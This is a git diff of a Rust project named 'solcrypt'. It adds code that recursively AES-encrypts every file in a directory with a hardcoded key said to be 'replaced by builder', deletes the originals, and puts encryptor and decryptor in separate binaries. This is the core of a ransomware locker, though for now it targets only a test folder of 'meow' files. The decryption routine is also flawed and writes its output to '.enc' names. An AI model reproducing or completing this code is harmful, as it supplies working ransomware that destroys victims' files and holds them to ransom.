diff --git a/Cargo.toml b/Cargo.toml index 7b305e2..8972a3c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -3,6 +3,15 @@ name = "solcrypt" version = "0.1.0" edition = "2021" +[[bin]] +name = "solcrypt_main" +path = "src/encrypt.rs" + +[[bin]] +name = "decryptor" +path = "src/decrypt.rs" + + [dependencies] aes = "0.7.5" block-modes = "0.8.1" diff --git a/src/crypto.rs b/src/crypto.rs index 0f2efc6..d9aa205 100644 --- a/src/crypto.rs +++ b/src/crypto.rs @@ -7,6 +7,8 @@ use aes::Aes256; use block_modes::{BlockMode, Cbc}; use block_modes::block_padding::Pkcs7; use std::fs::File; +use std::path::{Path, PathBuf}; +use std::fs; use std::io::{Read, Write}; use std::error::Error; use std::str; @@ -18,7 +20,7 @@ const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder"; const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes -pub fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box> { +fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box> { // Read the input file let mut input_file = File::open(input_path)?; let mut buffer = Vec::new(); @@ -35,7 +37,7 @@ pub fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box Result<(), Box> { +fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box> { // Read the encrypted file let mut input_file = File::open(input_path)?; let mut buffer = Vec::new(); @@ -51,3 +53,44 @@ pub fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box Vec { + let directory_path = Path::new(directory_path); + let entries = fs::read_dir(directory_path).expect("Failed to read directory"); + + let mut file_list = Vec::new(); + + for entry in entries { + let entry = entry.expect("Failed to read entry"); + let file_path = entry.path(); + if file_path.is_file() { + file_list.push(file_path.to_string_lossy().to_string()); + } else if file_path.is_dir() { + let sub_files = get_files(&file_path.to_string_lossy().to_string()); + file_list.extend(sub_files); + } + } + + file_list +} + +pub fn encrypt_directory(directory_path: &str) -> Result<(), Box> { + let directory = get_files(directory_path); + for mut file in directory { + let encrypted_file_path = file.as_mut().to_owned() + ".enc"; + encrypt_file(&file, &encrypted_file_path)?; + fs::remove_file(file).unwrap(); + } + Ok(()) +} + +pub fn decrypt_directory(directory_path: &str) -> Result<(), Box> { + let directory = get_files(directory_path); + for mut file in directory { + let encrypted_file_path = file.as_mut().to_owned() + ".enc"; + decrypt_file(&file, &encrypted_file_path)?; + } + Ok(()) +} + + diff --git a/src/decrypt.rs b/src/decrypt.rs new file mode 100644 index 0000000..3fc2d5a --- /dev/null +++ b/src/decrypt.rs @@ -0,0 +1,9 @@ +mod crypto; +use crypto::decrypt_directory; + +fn main() { + println!("Hello, world!"); + println!("Encrypting test directory"); + decrypt_directory("testdir").unwrap(); + +} diff --git a/src/encrypt.rs b/src/encrypt.rs new file mode 100644 index 0000000..a310e2e --- /dev/null +++ b/src/encrypt.rs @@ -0,0 +1,9 @@ +mod crypto; +use crypto::encrypt_directory; + +fn main() { + println!("Hello, world!"); + println!("Encrypting test directory"); + encrypt_directory("testdir").unwrap(); + +} diff --git a/src/main.rs b/src/main.rs deleted file mode 100644 index 763974c..0000000 --- a/src/main.rs +++ /dev/null @@ -1,8 +0,0 @@ -mod crypto; -use crypto::{encrypt_file, decrypt_file}; - -fn main() { - println!("Hello, world!"); - encrypt_file("testfiles/meow.txt", "testfiles/meow.enc").unwrap(); - decrypt_file("testfiles/meow.enc", "testfiles/meow.dec.text").unwrap(); -} diff --git a/testdir/dir2/meow1.txt b/testdir/dir2/meow1.txt new file mode 100644 index 0000000..375d5c3 --- /dev/null +++ b/testdir/dir2/meow1.txt @@ -0,0 +1 @@ +meow diff --git a/testdir/dir2/meow2.txt b/testdir/dir2/meow2.txt new file mode 100644 index 0000000..6f6b544 --- /dev/null +++ b/testdir/dir2/meow2.txt @@ -0,0 +1 @@ +meow meow diff --git a/testdir/meow.txt b/testdir/meow.txt new file mode 100644 index 0000000..8d06e96 --- /dev/null +++ b/testdir/meow.txt @@ -0,0 +1 @@ +cats would rule the world better than humans